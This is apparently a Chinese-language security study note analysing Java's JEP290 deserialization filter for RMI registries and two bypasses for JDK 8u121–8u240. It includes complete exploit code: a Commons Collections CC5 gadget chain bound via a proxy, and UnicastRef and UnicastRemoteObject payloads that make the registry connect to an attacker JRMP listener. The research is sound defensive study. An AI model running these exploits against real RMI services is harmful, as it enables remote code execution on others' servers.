一.简述 <font style="color:rgba(0, 0, 0, 0.86);">JEP290</font>过滤传入的序列化数据。
JEP290 <font style="color:rgba(0, 0, 0, 0.86);">是 Java 为了防御反序列化攻击而设置的一种过滤器。</font>( JDK6u141、JDK7u131、JDK 8u121 支持 JEP290 )
前面学了 6 种攻击,JEP290 在 RegistryImpl 中添加过滤方法,所以只对注册中心的攻击有影响。
服务端攻击注册中心这里用了 CC5 加动态代理(因为 bind 绑定的必须是 Remote,需要借助 proxy 动态代理)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import javax.management.BadAttributeValueExpException; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class RMIServer { public static void main(String[] args) throws Exception { try { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer transformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map ouputMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, tiedMapEntry); Map tmpMap = new HashMap(); tmpMap.put("pwn", badAttributeValueExpException); Constructor<?> ctor = null; ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap); Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler)); Registry registry = LocateRegistry.getRegistry(1099); registry.bind("hello1", remote); } catch (Exception e) { e.printStackTrace(); } } }
服务端 bind 攻击注册中心,换用 jdk8u131 后继续攻击注册中心会报错:信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 284, ex: n/a
bind 绑定的是 proxy 创建的恶意对象,注册中心反序列化的时候就会阻拦
二.过滤分析 报错原因进行分析:
调试看一下,服务端相当于一个客户端给注册中心发起 bind 请求,注册中心 Registry_Skel.dispatch 进行处理
调用 ObjectInputStream.readObject
后续跟进发现进到了下的断点方法 ObjectInputStream.filterCheck
后面步入到真正的过滤:RegistryImpl#registryFilter
具体的过滤代码:
RegistryImpl#registryFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) { if (registryFilter != null) { ObjectInputFilter.Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } } if (var0.depth() > 20L) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 != null) { if (!var2.isArray()) { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } else { return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED; } } else { return Status.UNDECIDED; } } }
加了白名单限制,不在白名单就会返回 Status.REJECTED :
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
这里是一层一层进行检验,最外层是我们用的动态代理创建的 remote,和之后的 Proxy 都在白名单内 status 返回值为 ALLOWED
但到 AnnotationHandler 时会被拦截 status 返回值为 REJECTED 所以报错
三. 绕过(8u121~8u231) UnicastRef Bypass JEP290(8u121<jdk<8u231)
原理 绕过原理先看总结:
首先用的都是白名单里的类所以 check 都能通过,bind 一个 UnicastRef 的对象
RegistryImpl_Skel 分发处理 bind 进行反序列化,然后会触发 DGC 逻辑 ,就会执行 dirty,向在 UnicastRef 中封装的恶意端发起请求,该过程中底层与之前在 RMI 基础中跟的 DGCImpl_Stub.dirty 一样
该方法里调了 super.ref.newCall ,super.ref.invoke()—>StreamRemoteCall.executeCall 对于返回一定条件会直接反序列化,造成反序列化漏洞
也可以说注册中心反序列化 UnicastRef 之后,它就可以看作一个JRMP 客户端 ,向恶意服务端端发起 dirty 请求建立一个JRMP 连接 到用 ysoserial 开启的 JRMP 服务端,这样就类似于一个服务端攻击客户端了
JEP290 默认只为 RMI 注册表 和 RMI 分布式垃圾收集器 (DGC 层)提供了相应的内置过滤器,但是最底层的 JRMP 是没有做过滤器的。
无论 RMI Registry、RMI Client、RMI Server、DGCClient 的任意两者通信,它们发起 JRMP 请求都利用了 UnicastRef 类。
接着先看反序列化后怎么触发的 DGC 逻辑:
通过白名单 check 后进行反序列化,注册中心 UnicastServerRef.dispatch 分发处理,而存在静态 skel,进而转到 Registry_Skel.dispatch 进行处理反序列化—–>DGCClient.makeDirtyCall 调用 dirty
dirty 里面就到了网络请求这里,可以看到 ref 就是 LiveRef,里面封装了 TCPEndpoint,有我们设置的恶意监听端,触发 JRMP 后将返回结果直接进行反序列化
调用栈:
复现
用 ysoserial 相当于重构了一个 JRMP 服务端,攻击用的是 cc5
运行注册中心
1 2 3 4 5 6 public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjImpl();//创建远程调用对象 Registry r= LocateRegistry.createRegistry(1099);//创建注册中心 } }
服务端进行操作 bind 绑定 UnicastRef 对象,这里还是借助了动态代理
1 2 3 4 5 6 7 8 9 10 11 12 13 public class RMIServer { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222 ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(RMIServer.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("Hello",proxy); } }
四.另外一种绕过 8u231~8u240
修复点 修复点一:不论哪种方法,注册中心的分发进行反序列化后抛出异常就会消除 ref,就是一个建立新的 JRMP 连接的重要东西
而这里抛出异常时必定的:在反序列化之前进行了类型转换,强制类型的 Object 向下转换会报错 ClassCastException
1 2 var83 = (String)var90.readObject(); var88 = (Remote)var90.readObject();
修复点二:一的修复已经是可以的,第二点还在 DGCImpl_Stub#dirty 里面做了修改,在执行 newCall 发起 JRMP 请求之后设置里一个过滤,才进行 ref.invoke 反序列化解析
上面的绕过是 UnicastRef 类包装了一层,通过递归的形式反序列化,再通过 DGCClient 执行 dirty,发起 JRMP 请求 ,现在的绕过是直接在反序列化时就触发 JRMP 请求 ,进入到 UnicastRef.invoke 解析
bind 的或者注册中心 dispatch 分发之后反序列化的是一个远程对象的引用,按照 RMI 基础中的分析来讲注册中心相当于一个客户端反序列化后要会将程对象 exportObject 发布出去该过程中就会建立网络连接
调用链 UnicastRemoteObject.readObjet—>UnicastRemoteObject.reexport 该方法中的 ssf 是在 exp 中设置的
1 2 3 4 5 6 private void readObject(java.io.ObjectInputStream in) throws java.io.IOException, java.lang.ClassNotFoundException { in.defaultReadObject(); reexport(); }
1 2 3 4 5 6 7 8 private void reexport() throws RemoteException { if (csf == null && ssf == null) { exportObject((Remote) this, port); } else { exportObject((Remote) this, port, csf, ssf); } }
继续是重载的 exportObject—->服务端引用 UnicastServerRef.exportObject
1 2 3 4 5 6 7 8 public static Remote exportObject(Remote obj, int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException { return exportObject(obj, new UnicastServerRef2(port, csf, ssf)); }
1 2 3 4 5 6 7 8 9 10 private static Remote exportObject(Remote obj, UnicastServerRef sref) throws RemoteException { // if obj extends UnicastRemoteObject, set its ref. if (obj instanceof UnicastRemoteObject) { ((UnicastRemoteObject) obj).ref = sref; } return sref.exportObject(obj, null, false); } }
来到 UnicastServerRef.exportObject,这部分和基础中创建注册中心的分析是一样的都是创建 stub,skel
UnicastServerRef.exportObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException { Class var4 = var1.getClass(); Remote var5; try { var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse); } catch (IllegalArgumentException var7) { throw new ExportException("remote object implements illegal remote interface", var7); } if (var5 instanceof RemoteStub) { this.setSkeleton(var1); } Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3); this.ref.exportObject(var6); this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4); return var5; }
最终调 —–>LiveRef.exportObject—->TCPEndpoint.exportObject——>TCPTransport.exportObject.listen 一系列调用 listen 方法
TCPTransport.exportObject()—>listen()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public void exportObject(Target var1) throws RemoteException { synchronized(this) { this.listen(); ++this.exportCount; } boolean var2 = false; try { super.exportObject(var1); var2 = true; } finally { if (!var2) { synchronized(this) { this.decrementExportCount(); } } } }
在 listen 中调用了 newServerSocket 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void listen() throws RemoteException { assert Thread.holdsLock(this); TCPEndpoint var1 = this.getEndpoint(); int var2 = var1.getPort(); if (this.server == null) { if (tcpLog.isLoggable(Log.BRIEF)) { tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket"); } try { this.server = var1.newServerSocket(); Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new AcceptLoop(this.server), "TCP Accept-" + var2, true)); var3.start(); } catch (BindException var4) { throw new ExportException("Port already in use: " + var2, var4); } catch (IOException var5) { throw new ExportException("Listen failed on port: " + var2, var5); } } else { SecurityManager var6 = System.getSecurityManager(); if (var6 != null) { var6.checkListen(var2); } } }
ssf 在 newServerSocket 这里调了一个方法,而它是我们设置的动态代理,在这里调用 RemoteObjectInvocationHandler 调用处理器的 invoke 方法
这里的连接也就是基础中说的从客户端的调用处理器到客户端的引用进行 JRMP 连接
前面的 if 都不满足直接调最后面的 invokeRmoteMethod
这里的 ref 在 payload 中是设置的 UnicastRef
那就来到了客户端发起 JRMP 连接的地方了 UnicastRef.invoke,这里的流程还是和 RMI 基础中的 RMI 类比动态代理一样样,先是客户端代码层面的调用处理器,然后客户端的引用 UnicastRef 建立 JRMP 连接并反序列化返回的数据,服务端就省略了….
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ......Connection var6 = this .ref.getChannel().newConnection();StreamRemoteCall var46 = new StreamRemoteCall (var6, this .ref.getObjID(), -1 , var4);ObjectOutput var10 = var46.getOutputStream();this .marshalCustomCallData(var10);for (int var12 = 0 ; var12 < ((Object[])var11).length; ++var12) { marshalValue((Class)((Object[])var11)[var12], var3[var12], var10); } var46.executeCall();Class var47 = var2.getReturnType();if (var47 != Void.TYPE) { var11 = var46.getInputStream(); Object var48 = unmarshalValue(var47, (ObjectInput)var11); return var48; }
并且上面获取到的 InputStream 并没有进行设置 JEP290 的过滤,直接反序列化可以 Bypass
小问题 在本地 bind 或者 rebind 的时候,UnicastRef.invoke 方法中进行反序列化时
enableReplace 默认为 true,会调用MarshalOutputStream#replaceObject
当绑定的对象没有继承 RemoteStub 时,直接就会返回从静态表中获得的 stub,即原先的 UnicastRemoteObject 还会被转换成为 RemoteObjectInvocationHandler,就会导致服务端无法触发 UnicastRemoteObject 反序列化
1 2 3 4 5 6 7 8 9 10 protected final Object replaceObject(Object var1) throws IOException { if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) { Target var2 = ObjectTable.getTarget((Remote)var1); if (var2 != null) { return var2.getStub(); } } return var1; }
所以就得在 payload 中重新写一下 bind 方法,在序列化之前反射修改 enableRepolace 为 false,使他不进行转换
原本的 bind 方法:
1 2 3 4 5 6 7 8 9 10 11 12 RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L); try { ObjectOutput var4 = var3.getOutputStream(); var4.writeObject(var1); var4.writeObject(var2); } catch (IOException var5) { throw new MarshalException("error marshalling arguments", var5); } super.ref.invoke(var3); super.ref.done(var3);
重写的和之前反序列化攻击里面的一样。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static void bindReflection(String name, Object obj, Registry registry) throws Exception { Field ref_filed = RemoteObject.class.getDeclaredField("ref"); ref_filed.setAccessible(true); UnicastRef ref = (UnicastRef) ref_filed.get(registry); //反射修改operations Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations"); operations_filed.setAccessible(true); Operation[] operations = (Operation[]) operations_filed.get(registry); RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L); ObjectOutput outputStream = remoteCall.getOutputStream(); //修改enableReplace Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace"); enableReplace_filed.setAccessible(true); enableReplace_filed.setBoolean(outputStream, false); outputStream.writeObject(name); outputStream.writeObject(obj); ref.invoke(remoteCall); ref.done(remoteCall); }
最终:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.example; import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.*; import java.util.Random; public class RMIServer { public static void main(String[] args) throws Exception { UnicastRemoteObject payload = getPayload(); Registry registry = LocateRegistry.getRegistry(1099); bindReflection("pwn", payload,registry); } static UnicastRemoteObject getPayload() throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost", 9999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance( handler.getClass().getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class}, handler ); Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor(); constructor.setAccessible(true); UnicastRemoteObject unicastRemoteObject = constructor.newInstance(); Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf"); field_ssf.setAccessible(true); field_ssf.set(unicastRemoteObject, factory); return unicastRemoteObject; } static void bindReflection(String name, Object obj, Registry registry) throws Exception { Field ref_filed = RemoteObject.class.getDeclaredField("ref"); ref_filed.setAccessible(true); UnicastRef ref = (UnicastRef) ref_filed.get(registry); //反射修改operations Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations"); operations_filed.setAccessible(true); Operation[] operations = (Operation[]) operations_filed.get(registry); RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L); ObjectOutput outputStream = remoteCall.getOutputStream(); //修改enableReplace Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace"); enableReplace_filed.setAccessible(true); enableReplace_filed.setBoolean(outputStream, false); outputStream.writeObject(name); outputStream.writeObject(obj); ref.invoke(remoteCall); ref.done(remoteCall); } }
文章 https://m0d9.me/2020/07/11/RMI%EF%BC%9A%E7%BB%95%E8%BF%87JEP290%E2%80%94%E2%80%94%E4%B8%AD/
https://www.anquanke.com/post/id/259059#h2-3
https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1
https://xz.aliyun.com/news/8299
https://www.cnblogs.com/tr1ple/p/12335098.html?utm_source=tuicool